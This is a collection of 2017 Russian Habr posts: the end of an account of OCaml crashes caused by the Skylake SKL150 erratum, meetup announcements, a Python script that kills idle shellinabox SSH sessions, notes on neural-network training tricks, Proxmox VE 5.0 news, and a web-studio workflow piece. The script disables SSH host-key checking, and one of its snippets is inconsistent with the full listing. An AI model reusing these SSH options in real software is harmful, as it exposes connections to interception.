Здесь показано количество сбоев на 1000 запусков тестовой программы. Видите скачок между $N = 2$ и $N = 4$? И плато между более высокими значениями $N$? Чтоб объяснить эти цифры, нужно более подробно рассказать о тестовой машине Skylake. У неё 4 физических ядра и 8 логических ядер, поскольку включен HT. Два ядра были заняты в фоне двумя долговременными тестами (не моими), но в остальном машина была свободна. Следовательно, загрузка системы равнялась $2 + N + epsilon$, где $N$ — это количество тестов, запущенных параллельно.

Когда одновременно работает не более четырёх процессов, планировщик ОС поровну распределяет их между четырьмя ядрами машины и упорно старается не направлять два процесса на два логических ядра одного физического ядра, потому что это приведёт к недостаточному использованию других физических ядер. Такое происходит в случае с $N=1$, а также большую часть времени в случае с $N=2$. Если количество активных процессов превышает 4, то ОС начинает применять HT, назначая процессы двум логическим ядрам на одном и том же физическом ядре. Это случай $N=4$. Только если все 8 логических ядер на машине заняты, ОС осуществляет традиционное разделение времени между процессами. В нашем эксперименте это случаи $N=8$ и $N=16$.

Теперь стало видно, что сбои начинаются только при включении Hyper-Threading, точнее, тогда, когда программа OCaml работала рядом с другим потоком (логическим ядром) на том же физическом ядре процессора.

Я отправил ОСИПу результаты экспериментов, умоляя его принять мою теорию о том, что во всём виновата многопоточность. В этот раз он послушал и отключил HT на своей машине. После этого сбои полностью исчезли: двое суток непрерывного тестирования не выявили вообще ни одной проблемы.

Проблема решена? Да! Счастливый конец? Не совсем. Ни я, ни ОСИП не пытались сообщить о проблеме в Intel или кому-то ещё, потому что мы были удовлетворены тем, что можно компилировать OCaml c Clang, а ещё потому что ОСИП не хотел неприятной огласки в духе «продукты ОСИПа падают случайным образом!». Я же совсем устал от этой проблемы, да и не знал, как сообщать о таких вещах (в Intel нет публичного баг-трекера, как у обычных людей), а ещё я подозревал, что это баг конкретных машин ОСИПа (например, партия сбойных микросхем, которая случайно попала не в ту корзину на фабрике).

Второе проявление


2016-й год прошёл спокойно, больше никто не сообщал, что небо (sky, точнее, Skylake — каламбур) падает из-за OCaml 4.03, так что я с радостью забыл об этом маленьком эпизоде с ОСИПом (и продолжил сочинять ужасные каламбуры).

Затем, 6 января 2017 года Ангерран Декорн и Джорис Джованнанджели из Ahrefs (ещё один Очень Серьёзный Индустриальный Пользователь OCaml, член Консорциума Caml в придачу) сообщили о загадочных случайных сбоях с OCaml 4.03.0: это PR#7452 в баг-трекере Caml.

В их примере повторяемого сбоя сам компилятор ocamlopt.opt иногда падал или выдавал бессмысленный результат, когда компилировал большой исходный файл. Это не слишком удивительно, потому что ocamlopt.opt сам по себе является программой OCaml, скомпилированной компилятором ocamlopt.byte, но так было проще обсуждать и воспроизвести проблему.

Публично открытые комментарии к багу PR#7452 довольно хорошо показывают, что произошло дальше, а сотрудники Ahrefs подробно описали свою охоту за багом в этой статье. Так что я выделю только ключевые моменты этой истории.

  • Через 12 часов после открытия тикета, когда в обсуждении было уже 19 комментариев, Ангерран Декорн сообщил, что «все машины, которые смогли воспроизвести баг, работают на процессорах семейства Intel Skylake».
  • На следующий день я упомянул о случайных сбоях у ОСИПа и предложил отключить многопоточность (Hyper-Threading).
  • Ещё через день Джорис Джованнанджели подтвердил, что баг не воспроизводится при отключенном Hyper-Threading.
  • Параллельно Джорис обнаружил, что сбой происходит только если система поддержки выполнения OCaml собрана с параметром gcc -O2, но не gcc -O1. Оглядываясь назад, это объясняет отсутствие сбоев с отладочной версией окружения OCaml и с OCaml 4.02, поскольку они обе по умолчанию собираются с параметром gcc -O1.
  • Я выхожу на сцену и публикую следующий комментарий:
    Будет ли безумием предположить, что настройка gcc -O2 на окружении OCaml 4.03 выдаёт специфическую последовательность инструкций, которая вызывает аппаратный сбой (какие-то степпинги) в процессорах Skylake с Hyper-Threading? Возможно, это и безумие. С другой стороны, уже есть одна задокументированная аппаратная проблема с Hyper-Threading и Skylake (ссылка)
  • Марк Шинвелл связался с коллегами в Intel и сумел протолкнуть отчёт через отдел поддержки пользователей.

Затем ничего не происходило 5 месяцев, пока…

Открытие


26 мая 2017 года пользователь "ygrek" опубликовал ссылку на следующий журнал изменений из пакета с «микрокодом» от Debian:

* New upstream microcode datafile 20170511 [...]
* Likely fix nightmare-level Skylake erratum SKL150. Fortunately,
either this erratum is very-low-hitting, or gcc/clang/icc/msvc
won't usually issue the affected opcode pattern and it ends up
being rare.
SKL150 - Short loops using both the AH/BH/CH/DH registers and
the corresponding wide register *may* result in unpredictable
system behavior. Requires both logical processors of the same
core (i.e. sibling hyperthreads) to be active to trigger, as
well as a "complex set of micro-architectural conditions"


Эррата SKL150 была задокументирована компанией Intel в апреле 2017 года и описана на странице 65 в Обновлении спецификаций семейства процессоров Intel 6-го поколения. Похожая эррата упоминается под номерами SKW144, SKX150, SKZ7 для разновидностей архитектуры Skylake и KBL095, KBW095 для более новой архитектуры Kaby Lake. Слова «полный кошмар» не упоминаются в документации Intel, но приблизительно описывают ситуацию.

Несмотря на довольно расплывчатое описание («сложный набор микроархитектурных условий», и не говорите!) эта эррата бьёт прямо в цель: включенный Hyper-Threading? Есть такое! Проявляется псевдослучайно? Есть! Не имеет отношения ни к плавающей запятой, ни к векторным инструкциям? Есть! К тому же, готово обновление микрокода, которое устраняет эту ошибку, оно мило упаковано в Debian и готово к загрузке в наши тестовые машины. Через несколько часов Джорис Джованнанджели подтвердил, что сбой исчез после обновления микрокода. Я запустил ещё больше тестов на своей новёхонькой рабочей станции с процессором Skylake (спасибо отделу снабжения Inria) и пришёл к тому же выводу, поскольку тест, который обваливался быстрее чем за 10 минут на старом микрокоде, проработал 2,5 суток без проблем на новом микрокоде.

Есть ещё одна причина считать, что SKL150 — виновник наших проблем. Дело в том, что проблемный код, описанный в этой эррате, как раз и генерирует GCC при компиляции системы поддержки выполнения OCaml. Например, в файле byterun/major_gc.c для функции sweep_slice получается такой код C:

hd = Hd_hp (hp);
/*...*/
Hd_hp (hp) = Whitehd_hd (hd);

После макрорасширения это выглядит так:

hd = *hp;
/*...*/
*hp = hd & ~0x300;

Clang компилирует этот код банальным способом, используя только регистры полной ширины:

movq    (%rbx), %rax
[...]
andq    $-769, %rax             # imm = 0xFFFFFFFFFFFFFCFF
movq    %rax, (%rbx)

Однако GCC предпочитает использовать 8-битный регистр %ah для работы с битами от 8 до 15 из полного регистра %rax, оставляя остальные биты без изменений:

movq    (%rdi), %rax
[...]
andb    $252, %ah
movq    %rax, (%rdi)

Эти два кода функционально эквиваленты. Одной возможной причиной выбора GCC может быть то, что его код более компактный: 8-битная константа $252 помещается в один байт кода, в то время как 32-битной, расширенной до 64 бит, константе $-769 нужно 4 байта. Во всяком случае, сгенерированный GCC код использует и %rax, и %ah и, в зависимости от уровня оптимизации и неудачного стечения обстоятельств, такой код может окончиться циклом, достаточно маленьким, чтобы вызвать баг SKL150.

Так что, в итоге, это всё-таки аппаратный баг. Говорил же!

Эпилог


Intel выпустила обновления микрокода для процессоров Skylake и Kaby Lake, которые исправляют или обходят проблему. Debian опубликовала подробные инструкции для проверки, подвержен ли багу ваш процессор и как получить и применить обновления микрокода.

Публикация о баге и выпуск микрокода оказались очень своевременными, потому что у нескольких проектов на OCaml начали происходить таинственные сбои. Например, у Lwt, Coq и Coccinelle.

Об аппаратном баге написал ряд технических сайтов, например, Ars Technica, HotHardware, Tom's Hardware и Hacker's NewsGeekTimes — прим. пер.].
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332552/


Метки:  

Анонс Ruby Meetup #6

Четверг, 06 Июля 2017 г. 14:55 + в цитатник
image

Традиционная встреча рубистов с докладами, общением и пиццей состоится 20 июля в офисе компании Rambler&Co!

1. Ruby on Rails в эпоху микросервисов – Станислав Герман, руководитель группы ruby разработки в Rambler&Co
Расскажу о некоторых фактах и персональном опыте перехода от монолитного приложения к микро сервисной архитектуре. Когда такой переход имеет смысл, какие подводные камни при переходе ожидать и как «Ruby on Rails» позволяет нам решить проблем с масштабированием монолита.

2. Overcommit: удобное описание и использование git хуков для повышения качества кода – Вольдэмар Дулецкий, Evrone

3. Парсинг пользовательского ввода с использованием PEG – Иван Лопатин
В своем докладе хочу рассказать о том что такое PEG парсеры, на примере библиотеки treetop.
Расскажу о том как описать грамматику PEG парсера. Чем они могут быть полезны и в каких случаях их стоит применять.
Разберем практический кейс использования PEG парсера на примере разбора пользовательского ввода.

4. Деплой длиною в год – Александр Кадыров, RCNTEC
Представьте себе начало: географически распределённый сервис с 18 серверами на борту и больше 3 тысяч корпоративных пользователей, которые в разное время должны иметь молниеносный ответ от сервера аутентификации через API или по протоколу RADIUS.
Сервис используется в бухгалтерии 1С, корпоративном портале на 1400 пользователей, интегрирован с линуксовым sudo и многими другими приложениями и сервисами. Любая недоступность сервиса аутентификации означает только одно — юзеры будут вас ненавидеть.
Необходимо зарелизиться таким образом, чтобы сервис не остановился ни на секунду, мог откатиться назад при любой ошибке и в любое время проводить проверку пользовательских данных. У нас это заняло полтора года.
В этом коротком докладе я расскажу о нашем опыте применения Ansible для управления платформой аутентификации, способной переваривать любые нагрузки, и почему вам надо дружить с админами или девопсами.

Лень готовить доклад?
У нас будет свободный микрофон для lightning talks — приходи с краткими тезисами, знакомься, обсуждай наболевшее. Регламент — 5 минут.

А кроме докладов, мы будем рады ответить на все вопросы о предстоящей конференции RailsClub

Мероприятие бесплатное, а регистрация обязательна – railsclub.timepad.ru/event/531200
С нас пицца и чай!

Начало в 19.00
Место: Варшавское шоссе, д. 9, стр. 1

Обязательно зарегистрируйтесь и возьмите с собой паспорт, чтобы вас пропустила охрана бизнес-центра!

image

Организаторы события: RailsClub, Evrone и MoscowRB
Гостеприимные хозяева: Rambler&Co – одна из крупнейших российских групп компаний, работающих в области медиа, технологий и электронной коммерции с аудиторией свыше 40 млн человек в месяц.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332548/


Метки:  

Анонс Moscow Spark #2

Четверг, 06 Июля 2017 г. 14:34 + в цитатник
image

Как мы и обещали, наше мероприятие становится регулярным – 27 июля состоится Moscow Spark #2! Moscow Spark #1, организованный группой компаний Rambler&Co, собрал больше 200 участников, и мы надеемся, что жаркая погода, которая когда-нибудь установится в московском регионе, не помешает нам собрать столько же (и даже больше) участников в этот раз. Тем более, что мы нашли новых, интересных докладчиков.

1. Про аналитику и серебряные пули – Александр Подсобляев (Rambler&Co)
В своем докладе я расскажу о том, как мы перезапускали Рамблер/топ-100, доступных инструментах на рынке и о нашем опыте переезда с архитектуры батч-обсчета данных на обсчет данных в реальном времени. Расскажу об архитектуре двух решений и их компонентах. Кратко обсудим особенности обработки данных с помощью Python в Hive, фундаментальные проблемы хранения агрегатов, кратко рассмотрим преимущества и недостатки альтернативного подхода. Подробно разберем способ обработки меняющихся событий с помощью PySpark, способы работы с различными компонентами системы из PySpark, возникающие при этом проблемы и их решение. Плюс посмотрим на результаты, скорость работы новой системы и некоторые подводные камни.

2. Тензорные разложения для рекомендаций на Spark – Алексей Петров (Zvooq)
В Spark.ML для рекомендаций присутствует реализация алгоритма ALS, который достаточно хорошо себя показывает в большинстве реальных примеров. В докладе я хочу представить свою реализацию на Spark алгоритма iTALS, который является обобщением алгоритма матричных разложений ALS для тензоров. Такой алгоритм позволяет учитывать контекст в рекомендациях, делать их более точными и гибкими. В докладе будет рассказано о результатах сравнительного эксперимента ALS и iTALS.

3. Погружаемся в Catalyst – Павел Клеменков (Rambler&Co)
Dataset и Dataframe стали предпочтительными интерфейсами работы со Spark. Во многом благодаря активной разработке оптимизатора запросов Catalyst. В докладе мы рассмотрим мотивацию создания Spark.SQL и поймем, почему он так критически важен для работы PySpark. А так же подробно разберем как устроен Catalyst изнутри и как можно расширить его функциональность.

4. Динамическая аллокация ресурсов или как жить в условиях общежития? – Артём Пичугин (New Professions Lab)
При помощи динамической аллокации ресурсов в Spark можно добиться того, чтобы задача получала дополнительные ресурсы, если таковые имеются в свободном пуле. Таким образом, иногда, можно использовать всю мощь кластера и быстрее проводить вычисления. В докладе я расскажу, как динамическая аллокация ресурсов помогла сделать возможной работу 30-40 студентов в условиях приближающегося дедлайна по лабораторным работам и жить всем в счастье.

Мероприятие бесплатное, а регистрация обязательна – rambler-co-e-org.timepad.ru/event/533749
С нас пицца и чай!

Начало в 19.00
Место: Варшавское шоссе, д. 9, стр. 1, подъезд №5. Мансарда Rambler&Co

image

Обязательно зарегистрируйтесь и возьмите с собой паспорт, чтобы вас пропустила охрана бизнес-центра!

Приходите, будет интересно!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332546/


Метки:  

Использование утилит timeout & strace для мониторинга неактивности пользователя для разрыва соединения Shellinabox

Четверг, 06 Июля 2017 г. 13:15 + в цитатник

Недавно я занимался тем, что исследовал какие существуют решения для реализации web-ssh прокси-сервера. Суть задачи заключается в том, чтобы дать пользователям возможность соединяться с произвольным ssh-сервером посредством web-интерфейса. Обычно, решения web-ssh предназначены для соединения с сервером, на котором они развернуты, но в рамках моей задачи мне хотелось, чтобы пользователь мог указать IP, порт, имя и пароль пользователя (или ключ) и выполнить соединение с произвольным сервером. С ходу найти подобного решения мне не удалось.


Вообще-то, конечно, есть Guacamole, но для моей задачи использование этого приложения было слишком затратным как по ресурсам разработки, так и по функциям и их организации, поэтому от Guacamole я отказался.

Однако, для открытого пакета shellinabox я обнаружил решение на блоге на немецком языке, которое я и решил довести до нужного мне уровня. В итоге, получился симпатичный контейнер Docker, который можно найти как на GitHub так и на Dockerhub, который решает все необходимые задачи.


Но, статья не об этом, а о сопутствующем коде на Python, который мне пришлось написать. Дело в том, что мне не нравилось, что если пользователь открыл web ssh и куда-то ушел, то сессия будет висеть бесконечно, что на мой взгляд неприемлемо. Это ведет к следующим отрицательным последствиям:


  1. ресурсы прокси-сервера терминалов используются неэффективно, поскольку он вынужден обслуживать неиспользуемые сессии;
  2. открытое в браузере без присмотра окно с ssh навевает чувство тоски и уязвимости.

В общем, я решил, что хочу добиться того, чтобы shellinabox разрывал соединение в том случае, если пользователь несколько минут не пишет ничего на консоль (stdin) и на stdout не поступают данные.


Достаточно продолжительный поиск в Google показал мне, что цели можно добиться с использованием команды timeout и strace. Команда timeout оказалась для меня новой, ее назначение — обеспечить прерывание процесса по достижению некоторого таймаута в том случае, если он сам не завершился.


Команду strace я использую часто, однако, обычно применяю ее для того, чтобы отслеживать причину, по которой какая-то служба или команда не работает как ожидается. В рамках моего поиска на тему того, как осуществить мониторинг активности на каналах stdin, stdout процесса я обнаружил, что strace так же может это обеспечить:


strace -e write=1,2 -e trace=write -p 

В общем, данные команды были тем, что мне было необходимо для осуществления задуманного. Общая схема выглядит так:


  1. При открытии нового соединения shellinabox запускает python-скрипт;
  2. Python-скрипт запускает (fork) процесс-демон мониторинга активности процесса, который осуществляет мониторинг своего же PID;
  3. python-скрипт выполняет (exec) ssh (замена себя на ssh).

Для тех, кто хочет сразу посмотреть как же устроен весь скрипт, отправляю сюда. Для остальных далее по частям.


Кратко, код можно представить следующим образом.


monitor_daemon(inactivity_interval, identity_file)
...
...
os.execv("/usr/bin/ssh", ["/usr/bin/ssh"] + identity_args + ["-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-p", str(peer_port), "%s@%s" % (peer_login, peer_ip)])

Код простой и самоочевидный. Вся магия находится внутри функции monitor_daemon:


def monitor_daemon(inactivity_interval, identity_file):
    orig_pid = os.getpid()
    try:
        pid = os.fork()
        if pid > 0:
            return
    except OSError as e:
        print("Fork #1 failed: %d (%s)" % (e.errno, e.strerror))
        sys.exit(1)

    os.chdir("/")
    os.setsid()
    os.umask(0)

    try:
        pid = os.fork()
        if pid > 0:
            sys.exit(0)
    except OSError as e:
        print("Fork #2 failed: %d (%s)" % (e.errno, e.strerror))
        sys.exit(1)

    if identity_file != "":
        time.sleep(1)
        os.unlink(identity_file)

    try:
        while True:
            proc = subprocess.Popen('timeout %d strace -e write=1,2 -e trace=write -p %d' % (inactivity_interval, orig_pid), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            proc.poll()
            counter = 0
            for line in proc.stderr.readlines():
                counter += 1
            if(counter <= 3):
                os.kill(orig_pid, signal.SIGKILL)
                sys.exit(0)
    except Exception as e:
        pass

    sys.exit(0)

где нас более всего интересует часть:


while True:
  proc = subprocess.Popen('timeout %d strace -e write=1,2 -e trace=write -p %d' % (inactivity_interval, orig_pid), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  proc.poll()
  counter = 0
  for line in proc.stderr.readlines():
    counter += 1
    if(counter <= 3):
      os.kill(orig_pid, signal.SIGKILL)
      sys.exit(0)

в которой и происходит в цикле запуск мониторинга, который после заданного периода ожидания выполняет завершение процесса ssh, если требуется.


Вот собственно и все. Решение оказалось достаточно простым, но потребовало некоторое время на изучение доступных инструментов.


PS: Я не являюсь профессиональным python-разработчиком, код субоптимален.
PPS: Если у кого-то возникнет желание улучшить код, добро пожаловать в репозиторий, я с удовольствием приму PR-ы.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332544/


Метки:  

[Перевод] Отжиг и вымораживание: две свежие идеи, как ускорить обучение глубоких сетей

Четверг, 06 Июля 2017 г. 12:42 + в цитатник


В этом посте изложены две недавно опубликованные идеи, как ускорить процесс обучения глубоких нейронных сетей при увеличении точности предсказания. Предложенные (разными авторами) способы ортогональны друг другу, и могут использоваться совместно и по отдельности. Предложенные здесь способы просты для понимания и реализации. Собственно, ссылки на оригиналы публикаций:


1. Ансамбль снимков: много моделей по цене одной


Обычные ансамбли моделей


Ансамбли — это группы моделей, используемых коллективно для получения предсказания. Идея проста: обучи несколько моделей с разными гиперпараметрами, и усредни их предсказания при тестировании. Эта методика дает заметный прирост в точности предсказания, большинство победителей соревнований по машинному обучению делают это используют ансамбли.

Так в чем проблема?


Обучение N моделей потребует в N раз больше времени по сравнению с тренировкой одной модели. Вместо того, чтобы майнить, приходится тратить ресурсы GPU и долго ждать результатов.

Механика SGD


Стохастический градиентный спуск (SGD) — жадный алгоритм. Он перемещается в пространстве параметров в направлении наибольшего уклона. При этом, есть один ключевой параметр: скорость обучения. Если скорость обучения слишком высока, SGD игнорирует узкие лощины в рельефе гиперплоскости параметров (минимумы) и перескакивает через них как танк через окопы. С другой стороны, если скорость обучения мала, SGD проваливается в один из локальных минимумов и не может выбраться из него.

Однако, есть возможность вытащить SGD из локального минимума повысив скорость обучения.

Следим за руками...


Авторы статьи используют этот контролируемый параметр SGD для скатывания в локальный минимум и выхода оттуда. Разные локальные минимумы могут давать одинаковый процент ошибок при тестировании, но конкретные ошибки для каждого локального минимума будут разными!

На этой картинке очень наглядно поясняется концепция. Слева показано, как работает обычный SGD, пытаясь найти локальный минимум. Справа: SGD проваливается в первый локальный минимум, делается снимок обученной модели, затем SGD выбирается из локального минимума и ищет следующий. Так вы получаете три локальных минимума с одинаковым процентом ошибок, но различающимися характеристиками ошибок.



Из чего состоит ансамбль?


Авторы эксплуатируют свойство локальных минимумов отражать различные «точки зрения» на предсказания модели. Каждый раз, когда SGD достигает локального минимума, сохраняют снимок модели, из которых при тестировании и составят ансамбль.

Циклический косинусный отжиг



Для автоматического принятия решения, когда погружаться в локальный минимум, и когда выходить из него, авторы используют функцию отжига скорости обучения:



Формула выглядит громоздко, но на самом деле довольно проста. Авторы используют монотонно убывающую функцию. Альфа — новое значение скорости обученя. Альфа-ноль — предыдущее значение. Т — общее число итераций, которое вы планируете использовать (размер батча Х число эпох). М — число снимков модели, которое хотите получить (размер ансамбля).



Обратите внимание, как быстро снижается функция потерь перед сохранением каждого снимка. Это потому, что скорость обучения непрерывно снижается. После сохранения снимка скорость обучения восстанавливают (авторы используют уровень 0.1). Это выводит траекторию градиентного спуска из локального минимума, и начинается поиск нового минимума.

Заключение


Авторы приводят результаты тестирования на нескольких датасетах (Cifar 10, Cifar 100, SVHN, Tiny IMageNet) и нескольких популярных архитектурах нейронных сетей (ResNet-110, Wide-ResNet-32, DenseNet-40, DenseNet-100). Во всех случаях ансамбль, обученный предложенным способом показал наименьший процент ошибок.

Таким образом, предложена полезная стратегия получения прироста точности без дополнительных вычислительных затрат при обучении моделей. О влиянии разных параметров, таких как Т и М на производительность, см. оригинал статьи.

2. Вымораживание: ускорение обучения путем последовательного замораживания слоёв


Авторы статьи продемонстрировали ускорение обучения путем замораживания слоёв без потери точности предсказания.

Что означает замораживание слоёв?


Замораживание слоя предотвращает изменение весовых коэффициентов слоя при обучении. Эта методика часто используется при обучении переносом (transfer learning), когда базовую модель, обученную на другом датасете, замораживают.

Как замораживание влияет на скорость модели?


Если вы не хотите изменять весовые коэффициенты слоя, обратный проход по этому слою можно полностью исключить. Это серьезно ускоряет процесс вычислений. Например, если половина слоев в вашей модели заморожена, для тренировки модели потребуется вдвое меньше вычислений.

С другой стороны, вам все-таки нужно обучить модель, так что если вы заморозите слои слишком рано, модель будет давать неточные предсказания.

В чем новизна?


Авторы показали способ, как замораживать слои один за другим как можно раньше, оптимизируя время обучения за счет исключения обратных проходов. В начале модель целиком обучаема, как обычно. После нескольких итераций первый слой модели замораживают, и продолжают обучать остальные слои. После еще нескольких итераций замораживают следующий слой, и так далее.

(Опять) отжиг скорости обучения


Авторы использовали отжиг скорости обучения. Важное отличие их подхода: скорость обучения изменяется от слоя к слою, а не для всей модели. Они использовали следующее выражение:



Здесь альфа — скорость обучения, t — номер итерации, i — номер слоя в модели.

Обратите внимание, поскольку первый слой модели будет заморожен первым, его тренировка продлится наименьшее количество циклов. Для компенсации этого авторы масштабировали начальный коэффициент обучения для каждого слоя:



В результате, авторы добились ускорения обучения на 20% за счет падения точности на 3%, либо ускорения на 15% без снижения точности предсказания.

Однако, предложенный метод не очень хорошо работает с моделями, в которых не используются пропуски слоёв (такими как VGG-16). В таких сетях ни ускорения, ни влияния на точность предсказания не обнаружено.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332534/


Тем временем Proxmox VE обновился до версии 5.0

Четверг, 06 Июля 2017 г. 12:42 + в цитатник
Proxmox logoГромкой эту новость не назвать, но парни, который год «пилящие» Proxmox VE, два дня назад выпустили новую версию своего детища — 5.0.

Нас, конечно, интересуют изменения — тянут ли они на новую major версию. На мой взгляд, вполне, а подробности, по традиции, под катом.

(Для тех, кому слова Proxmox VE не знакомы, приведу пару слов описания: «Proxmox Virtual Environment (Proxmox VE) — система виртуализации с открытым исходным кодом, основанная на Debian GNU/Linux. В качестве гипервизоров использует KVM и LXC. Управление виртуальными машинами и администрирование самого сервера производятся через веб-интерфейс либо через стандартный интерфейс командной строки Linux.»)

Официальный список изменений рассказывает довольно скупо:

  • Сборка производится на пакетной базе Debian 9.0 «Stretch» (прошлая версия была основана на Debian 8.0 «Jessie»);
  • Используется ядро Linux 4.10
  • Используется QEMU 2.9
  • LXC обновлен до 2.0.8;
  • Реализована возможность асинхронной репликации хранилища между несколькими узлами кластера. Функция работает при использовании ZFS, и на сегодня помечена как «technology preview»;
  • Обновлены шаблоны построения изолированных окружений LXC на базе Debian, Ubuntu, CentOS, Fedora, OpenSUSE, Arch Linux, Gentoo и Alpine;
  • Новая/существенно улучшеная удалённая консоль noVNC;
  • В состав включена реализация распределённой файловой системы Ceph 12.1.0 Luminous (также с пометкой «technology preview»), собранная сотрудниками Proxmox;
  • Поддержка Live-миграции с использованием локального хранилища;
  • Внесены улучшения в web-интерфейс: улучшены средства фильтрации и пакетного выполнения операций, обеспечен показ адресов USB и Host PCI;
  • Улучшен установочный ISO-образ;
  • Добавлены средства импорта виртуальных машин от других гипервизоров, включая
    VMware и Hyper-V.
  • Улучшения документации, плюс множественные исправления ошибок в старых релизах.


Пару вещей опишу чуть подробнее, еще несколько изменений отлично видны в ролике от авторов Proxmox VE, который приведен в конце поста.

Репликация хранилища


Разговор идет об асинхронной репликации, когда раз в определенное время снапшот состояния хранилища отправляется на другое хранилище. Это уменьшает сетевой трафик, и позволяет предъявлять меньшие требования к оборудованию. Можно задать, что и как часто мы реплицируем, и иметь на другом хранилище «довольно свежую» копию данных с основного. Все зависит от задач, но во многих случаях для целей быстрого восстановления работоспособности даже такой подход — просто отличный вариант. Еще раз уточню, работает эта функция между хранилищами zfs.

Импорт ВМ из других гипервизоров


Такого рода импорт нужен не каждый день, но, уж когда нужен, требует довольно много времени на разбирательство с ним — похоже, сейчас процесс получится сокртить. Конечно, импорт — это и проблемы запуска гостя на базе нового гипервизора (разные гостевые ОС отнесутся по разному, скажем, к изменению списка оборудования), но сама функциональность актуальна. Предполагается, что импорт произойдет из самых популярных форматов (скажем, vmdk), но большинство гипервизоров умеют сегодня экспортировать машины в формат VMWare — после чего используем новую функцию утилиты qm (вызываемая как qm importdisk), и сражаемся уже с ОС в виртуалке.



Интересны ли вам изменения в PVE 5.0, будете ли обновляться?

Проголосовало 25 человек. Воздержалось 11 человек.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332542/


Метки:  

Виртуальный конвейер разработки сайтов и автоматизация

Четверг, 06 Июля 2017 г. 12:18 + в цитатник

Продолжаем серию материалов «Как сделать веб-студию эффективной и начать зарабатывать?» В предыдущем материале мы разобрали, как оптимизировать бизнес-процессы студии, связанные с докоментооборотом, который необходим для обеспечения контракта.

Как вы помните, документооборот не несет ценности клиенту в виде продукта за которым он к нам обращается. Именно поэтому все, что связано с «бумажной работой», мы постарались максимально оптимизировать. Если у вас это получилось или вы хотя бы сделали существенный шаг по направлению к этому, то вы большие молодцы. Как я говорил ранее, имено такие процессы, не несущие полезной нагрузки, часто невидимые для руководителя студии, несут основные потери времени и денег.

Сегодня поговорим о полезных процессах: непосредствено об организации разработки сайта. Я не планирую затрагивать CMS, дизайн, принципы верстки, языки программирования… Их оптимизацией займемся в последнюю очередь. Да и не расскажу я вам чего-то нового в этой области. А вот к концептуальному подходу организации производства стоит прислушаться. Это заложит основу для будущего масштабирования.

Напоминаю, что наша задача — бысто и качественно создать сайт, который будет решать задачу клиента. А задача сайта клиента простая — конвертировать посетителей в звонки или заявки. Дополнительной задачей ставим правильную индексацию сайта и попадание его в поисковые системы (как можно выше) без дополнительных вложений со стороны клиента. Это важный момент, своего рода изюминка на торте.

Клиент может говорить, что ему нужен сайт для имиджа, автоматизации, описания услуг, интеграции … короче, для всего. Соглашайтесь, но задачу нашу не забывайте. Нам нужно, чтобы телефон отдела продаж нашего клиента зазвонил, и как можно быстрей. Как только процесс пошел, значит можно выдохнуть и дальше спокойно работать. 20% усилий которые принесут 80% результата вы уже сделали. Именно на это нацелена работа будущего веб-завода в первую очередь. Все остальные работы не принесут вам прибыли и, скорее всего, клиенту. Подходите к дальнейшему расширению функционала максимально осторожно.

Далее много букв про организацию завода. Начинающим студиям читать в первую очередь. Делать с нуля гораздо проще, чем потом переделывать :)

Создаем технологичный завод по производству сайтов


Для повышения эффективности производства в середине XIX века был изобретен конвейер. Скорость движения конвейера напрямую влияет на скорость выпуска продукции. Регулируя скорость конвейера — можно получить востребованный продукт по конкурентной цене и требуемого качества. Снижаем скорость конвейера – повышаем глубину проработки продукта (заметьте, не качество), ускоряем конвейер – повышаем скорость выпуска продукта. В нашем случае, продукт – это сайт.

Виртуальный конвейер для цифрового продукта


В WebCanape сейчас от начальной точки до конечной конвейер проезжает за 14 дней (по сути, это срок в договоре с клиентом). За два дня (раньше за один) выполняется одна из семи типовых групп операций: формирование задания на проект, производство (распараллеливаем на три линии — дизайн сайта, наполнение сайта, программирование), согласование, тестирование, запуск проекта, повторное тестирование, сдача проекта. Если команда небольшая, то часть этапов может быть вынесено на аутсорс, но срок этапа должен быть жестким. В ритмичности сила конвейера.

Для того чтобы конвейер двигался без остановок и задержек, исполнительный менеджер, который курирует проект на всех этапах, на первом этапе проводит сбор всех необходимых материалов. В основной перечень, без чего проект не может быть запущен в работу, входят: текстовые и графические материалы для первичного наполнения, элементы фирменного стиля, фотоматериалы, данные для заполнения каталогов продукции, доступы к домену и хостингу. Собрав все материалы, можно запускать конвейер и гарантировать его безостановочную работу, что в свою очередь гарантирует создание сайта в срок.

На каждом из этапов производственные ресурсы подобраны таким образом, чтобы конвейер мог обслужить в два раза больше заказов, чем поступает на входе. Это позволяет сглаживать неравномерность спроса и работать с проектами из буферных линий.

На буферную линию проект попадает, если он не может двигаться дальше по причине затягивания согласования с клиентом дизайна или наполнения. После согласования проект возвращается на основную линию и продолжает движение вперед. При этом календарные сроки проекта затягиваются, но договорные сроки (мы их считаем в нормо-днях) пролонгируются на время задержки в буферной зоне. Запомните эти два параметра, они нам понадобятся далее.
Естественно, что наличие проектов в буферной зоне — это пассивы на производстве. Чем их больше, тем большая степень неопределенности в системе. Это напрямую влияет на снижение общей эффективности производства и скорости оборота денег в системе. Количество таких проектов и их время простоя необходимо минимизировать. Это основная задача исполнительных менеджеров после запуска проекта в работу.

Где живет и как выглядит конвейер


Несмотря на то, что конвейер виртуальный, рабочие места (производственные узлы) в офисе, как на реальном предприятии, желательно выстроить в правильную производственную цепочку. Хоть заказ переходит от узла к узлу по виртуальным каналам, физическое расстояние между узлами и их взаимное расположение очень важны. Это позволяет лучше представлять и контролировать производственный процесс, оптимизировать коммуникации и рабочее время.


Рабочие места в офисе лучше располагать последовательно, в соответствии со схемой производства

Исполнительный менеджер контролирует движение проекта на конвейере с помощью CRM. В нашем случае, это доработанная CanapeCRM. В этой системе собирается вся статистика по этапам движения проекта, формируются уведомления для клиентов и прочее.
Как только проект поступает на конвейер, исполнительный менеджер, в соответствии с регламентом, разворачивает и настраивает базовую сборку, ставит задачи на производственные участки. Для задач мы используем redmine. Базовая сборка — это сайт с типовым набором программных модулей для выбраного типа сайта.

